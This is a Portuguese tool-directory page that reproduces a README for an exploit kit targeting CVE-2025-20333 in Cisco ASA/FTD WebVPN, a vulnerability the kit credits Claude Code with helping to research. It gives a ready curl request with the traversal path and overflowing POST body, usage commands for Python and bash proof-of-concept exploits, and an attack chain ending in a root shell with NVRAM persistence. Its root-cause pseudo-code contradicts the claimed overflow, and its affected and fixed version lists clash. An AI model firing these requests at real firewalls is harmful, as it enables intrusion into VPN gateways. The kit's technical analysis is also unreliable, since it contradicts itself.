Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-20333 — Ferramenta completa de pesquisa e exploração para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha no WebVPN do Cisco ASA/FTD. Inclui análise binária detalhada, exploits de PoC em Python e bash, e guia de exploração. | Kitploit
Ferramentas/GitHubGitHub/cobbbex/cve-2025-20333
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingExploração de Binários
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Ferramenta completa de pesquisa e exploração para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha no WebVPN do Cisco ASA/FTD. Inclui análise binária detalhada, exploits de PoC em Python e bash, e guia de exploração.

Ver Repositório
13há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-20333 - Kit Completo de Pesquisa e Exploração

Visão Geral

Este diretório contém pesquisa abrangente, análise e código de prova de conceito para CVE-2025-20333, uma vulnerabilidade crítica de estouro de buffer na pilha em servidores WebVPN Cisco ASA/FTD.

Status: ⚠️ Explorada ativamente na natureza (campanha ArcaneDoor)
Pontuação CVSS: 9.8 Crítica
Autenticado: Não (contornada via CVE-2025-20362)
Impacto: Execução Remota de Código como root


Conteúdo

📚 Documentação

CVE-2025-20333-RESEARCH-NOTES.md ()

20 KB

Pesquisa completa de engenharia reversa

  • Contexto da vulnerabilidade e inteligência web
  • Análise binária (processo lina ASA 9.12.4.x)
  • Auditoria da camada de ingestão de requisições
  • Análise das ligações da API Lua
  • 🎯 Descoberta do estouro (body_lexer.re2c, FUN_0302e690)
  • Detalhamento da cadeia de ataque
  • Análise da causa raiz com padrões de código
  • Tabela de referência de ferramentas e endereços

Descoberta Principal:

root@kitploit:~
Buffer fixo de 16 bytes (local_58[16]) em body_lexer.re2c
O loop de decodificação de URL NÃO TEM VERIFICAÇÃO DE LIMITES
Escrita em local_58[iVar11] sem verificar se iVar11 < 16
Após 8 pares hexadecimais: estouro → corrupção da pilha → RCE

EXPLOITATION-GUIDE.md (12 KB)

Manual prático de exploração

  • Mecânica da vulnerabilidade explicada
  • Cadeia de ataque completa (contorno CVE-2025-20362 + estouro)
  • Passo a passo da exploração
  • Técnicas de construção de payload
  • Métodos de detecção baseados em rede
  • Detecção baseada em host e análise de logs
  • Estratégias de mitigação
  • Versões corrigidas e caminho de atualização
  • Considerações legais e éticas

🔧 Exploits de Prova de Conceito

cve-2025-20333-poc.py (15 KB)

Exploit Python completo

Recursos:

  • Geração automática de payload
  • Integração de path traversal CVE-2025-20362
  • Construção de cadeia de gadgets ROP
  • Suporte SSL/TLS
  • Timeout configurável
  • Relatório detalhado de progresso

Uso:

root@kitploit:~
# Exibir detalhes da vulnerabilidade
python3 cve-2025-20333-poc.py --details

# Explorar alvo
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Configurações personalizadas
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 KB)

Exploit bash leve

Recursos:

  • Sem dependência de Python
  • Usa curl ou netcat
  • Consumo mínimo de recursos
  • Comentários educacionais
  • Saída de status clara

Uso:

root@kitploit:~
# Exibir detalhes
./cve-2025-20333-poc.sh --details

# Explorar
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manual com curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Resumo da Vulnerabilidade

Fatos Rápidos

PropriedadeValor
ID CVECVE-2025-20333
TipoEstouro de Buffer na Pilha (CWE-120)
Componentebody_lexer.re2c (FUN_0302e690)
Versões AfetadasASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19.8 (Crítica)
AutenticaçãoNão necessária (via CVE-2025-20362)
Interação do UsuárioNenhuma
ImpactoRCE como root, comprometimento total do sistema
StatusExplorada ativamente (maio de 2025+)
Divulgação ResponsávelCisco corrigiu; advisory publicado

Causa Raiz

root@kitploit:~
// body_lexer.re2c - Loop de decodificação de URL
byte local_58[16];  // ← Buffer fixo de 16 bytes

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← SEM VERIFICAÇÃO DE LIMITES!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Gatilho do Estouro: 9+ sequências consecutivas de %XX no corpo do POST

Cadeia de Ataque

root@kitploit:~
1. Atacante (SEM AUTENTICAÇÃO necessária)
   ↓
2. HTTP POST para /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: Path traversal contorna verificação de autenticação
   └─ Alcança endpoint files_retr.lua (auth_flag = 0)
   ↓
3. Corpo do POST: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ pares codificados em URL)
   ↓
4. body_lexer.re2c processa o corpo do POST
   ├─ Acumula pares hexadecimais em local_58[16]
   └─ Após 8 pares: ESTOURO!
   ↓
5. Corrupção da pilha
   ├─ Sobrescreve local_48, local_40
   ├─ Sobrescreve RBP salvo
   └─ Sobrescreve RIP salvo (endereço de retorno)
   ↓
6. Sequestro do fluxo de controle
   ├─ RIP aponta para gadgets ROP
   ├─ Cadeia ROP configura execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE como root (processo lina roda como root)
   ├─ Comprometimento total do servidor VPN
   ├─ Acesso a todo o tráfego VPN
   └─ Persistência via modificação da NVRAM

Processo de Pesquisa

Fase 1: Análise Binária ✅

  • Abriu o binário lina no Ghidra
  • Mapeou a arquitetura de requisições WebVPN (parser HTTP, roteador de URL, 13 hooks de endpoint)
  • Auditou a camada de ingestão de requisições (tudo seguro via clString/alocações de tamanho exato)
  • Examinou as ligações da API Lua (tudo seguro)

Fase 2: Inteligência Web ✅

  • Pesquisou detalhes técnicos da CVE-2025-20333
  • Encontrou análises da Rapid7, Zscaler, Horizon3, Tenable
  • Confirmou que a cadeia de ataque usa /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identificou a causa raiz: estouro baseado em heap (fontes web) / baseado em pilha (este binário) no endpoint Lua

Fase 3: Engenharia Reversa Direcionada ✅

  • Decompilou body_lexer.re2c (FUN_0302e690)
  • ENCONTRADO: Buffer fixo de 16 bytes local_58[16] sem verificação de limites
  • Confirmou o caminho do estouro: loop de decodificação de URL → escrita sem limites
  • Verificou a alcançabilidade: files_retr.lua → body_lexer → estouro de pilha

Fase 4: Desenvolvimento do Exploit ✅

  • Criou PoC em Python com suporte a cadeia ROP
  • Criou PoC em bash para ambientes mínimos
  • Documentou a estrutura do payload e técnicas de construção
  • Incluiu orientações de detecção e mitigação

Instruções de Uso

Para Testes de Penetração Autorizados

  1. Verifique a Autorização

    • Obtenha permissão por escrito para testar
    • Confirme os detalhes do sistema alvo (IP, porta, versão)
    • Documente o escopo e o cronograma
  2. Execute o Exploit

    root@kitploit:~
    # Verificação rápida: O alvo responde à tentativa de exploit?
    python3 cve-2025-20333-poc.py <target_ip>
    
    # Ou versão bash:
    ./cve-2025-20333-poc.sh <target_ip>
    
  3. Verifique a Exploração

    • Verifique acesso ao shell / conexão de reverse shell
    • Examine os logs do sistema para crashes ou anomalias
    • Verifique arquivos modificados (NVRAM, backdoor persistente)
  4. Documente as Descobertas

    • Registre a versão do alvo, nível de patch
    • Documente sucesso/falha da exploração
    • Anote quaisquer medidas defensivas encontradas
    • Relate ao cliente com recomendações de remediação

Para Pesquisa de Segurança

  1. Leia as Notas de Pesquisa

    • Estude CVE-2025-20333-RESEARCH-NOTES.md
    • Entenda a arquitetura binária e o mecanismo de estouro
  2. Estude os PoCs

    • Revise o PoC em Python para construção de gadgets ROP
    • Revise o PoC em bash para exploit mínimo
    • Entenda a codificação do payload
  3. Adapte e Estenda

    • Adicione shellcode personalizado
    • Implemente diferentes técnicas de exploração
    • Teste em versões corrigidas vs. vulneráveis

Avisos Importantes

⚠️ AVISO LEGAL

Este kit é fornecido apenas para testes de segurança autorizados.

  • NÃO use contra sistemas sem permissão explícita por escrito
  • NÃO use para fins maliciosos (roubo de dados, interrupção de serviços, ransomware)
  • Acesso não autorizado viola o Computer Fraud and Abuse Act (EUA) e leis similares em todo o mundo
  • As penalidades incluem processo criminal, multas e prisão

✅ Uso Autorizado:

  • Testes de penetração com aprovação por escrito
  • Prova de conceito durante pesquisa de vulnerabilidades
  • Testes internos de segurança
  • Competições CTF
  • Pesquisa acadêmica

❌ Uso Proibido:

  • Atacar sistemas sem permissão
  • Implantação de ransomware
  • Roubo de dados ou extorsão
  • Interrupção de serviços
  • Movimento lateral em redes comprometidas

Manifesto de Arquivos

root@kitploit:~
cve-2025-20333/
├── README.md                              (este arquivo)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 KB, pesquisa abrangente)
├── EXPLOITATION-GUIDE.md                 (12 KB, guia prático)
├── cve-2025-20333-poc.py                 (15 KB, PoC em Python)
└── cve-2025-20333-poc.sh                 (8.5 KB, PoC em bash)

Documentação Total: ~65 KB
Profundidade da Pesquisa: 50+ funções Ghidra auditadas
Descobertas Verificadas: Estouro de buffer em body_lexer.re2c confirmado


Referência Rápida

Teste Rápido da Vulnerabilidade

root@kitploit:~
# Teste se o alvo é vulnerável à exploração
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# Se o alvo responder (200, 500, crash), pode estar vulnerável
# Se o alvo bloquear/redirecionar, pode estar corrigido

Verificação de Versão

root@kitploit:~
# Versões vulneráveis:
# - Cisco ASA 9.16 até 9.23
# - Cisco FTD 7.0 até 7.7

# Use SSH/console para verificar a versão do ASA:
show version

# Versões corrigidas:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (corrigidas)

Checklist de Mitigação

  • Verifique a versão do ASA/FTD
  • Verifique patches disponíveis
  • Atualize para versão corrigida se vulnerável
  • Restrinja o acesso WebVPN por endereço IP
  • Habilite logging e monitoramento
  • Monitore tentativas de path traversal CVE-2025-20362
  • Monitore padrões de DoS (crashes do lina)
  • Habilite proteção de firewall na porta WebVPN

Referências

  • Advisory de Segurança Cisco: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
  • Análise Rapid7: https://www.rapid7.com/blog/post/etr-cve-2025-20333-cve-2025-20362-cve-2025-20363-multiple-critical-vulnerabilities-affecting-cisco-products/
  • Zscaler ThreatLabz: https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
  • FAQ Tenable: https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356

Aviso Legal

Este kit é fornecido COMO ESTÁ para fins educacionais e testes autorizados apenas.

  • Use por sua conta e risco
  • Sem garantia ou responsabilidade por uso indevido
  • Acesso não autorizado é ilegal
  • Relate descobertas de forma responsável à Cisco e organizações afetadas
  • Siga as leis de segurança cibernética do seu país


Atribuição

Este projeto foi desenvolvido com assistência do Claude Code, assistente de codificação com IA da Anthropic.


Criado: 2026-08-23
Período de Pesquisa: 2026-08-22 a 2026-08-23
Status: Completo e Documentado
Classificação: Educacional / Somente Testes Autorizados

Baixar ferramenta